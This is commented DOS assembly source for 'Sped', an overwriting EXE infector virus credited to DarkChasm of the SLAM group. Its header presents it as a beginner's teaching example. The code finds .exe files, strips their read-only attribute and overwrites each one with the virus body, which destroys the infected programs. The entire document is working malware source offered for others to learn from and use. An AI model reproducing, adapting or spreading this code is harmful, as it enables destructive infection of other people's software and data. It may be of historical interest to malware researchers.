;
;                                  Sped
;                          (C) DarkChasm [SLAM]
;
; ORIGIN: USA
; AUTHOR: DarkChasm
; GROUP : SLAM
; TYPE  : Overwriting, exe infector, can infect Read-Only files (makes them
;         archive only), error checking
;
;    Ahh... My first virus. Don't be to hard on me. This should help some
; people who are just starting out. I tried to comment the source as good
; as possible.
;
;                                               DarkChasm


Code Segment
     assume cs:virus, ds:virus
     org 100h

virus proc near

start:
   mov ah,4Eh                   ; find first file function
   xor cx,cx                    ; file with any attributes                   
   lea dx, file_mask            ; move offset of file_mask to ds:dx      
   dec byte ptr [file_mask]     ; turn the + into a *
   int 21h       ; do it        ; do it
   inc byte ptr [file_mask]     ; turn the * back into a +
   jc  exit                     ; if something goes wrong exit

clear_file_attributes:
   mov ax, 4301h                ; mov 43h to ah and 01h to al
   mov cx, 20h                  ; make it an archive only file
   mov dx, 9eh                  ; name of the file in DTA
   int 21h                      ; do it
   jmp open_file                ; jump to open_file

find_next_file:
   mov ah, 4Fh                  ; move 4Fh to ah (find next file)
   int 21h                      ; do it
   jc  exit                     ; something go wrong? If so exit
   call clear_file_attributes   ; do clear_file_attributes

open_file:
   mov ax, 3D02h                ; move 3Dh to ah and 02h to al
   mov dx, 9eh                  ; name of the file in DTA
   int 21h                      ; do it

infect_file:
   xchg bx, ax                        ; trade the contents of ax and bx
   mov ah, 40h                        ; move 40h to ah
   mov cx, offset vend - offset start ; put the size of virus in cx
   lea dx, start                      ; put the offset of start in ds:dx 
   int 21h                            ; do it

close_file:
   mov ah, 3Eh                  ; move 3Eh to ah
   int 21h                      ; do it
   jmp find_next_file           ; jump to find_next_file

exit:
   int 20h                      ; exit

file_mask db '+.exe',0
Virus_Signature db 'Sped (C) DarkChasm [SLAM]',0
vend label near
virus endp
code ends
   end start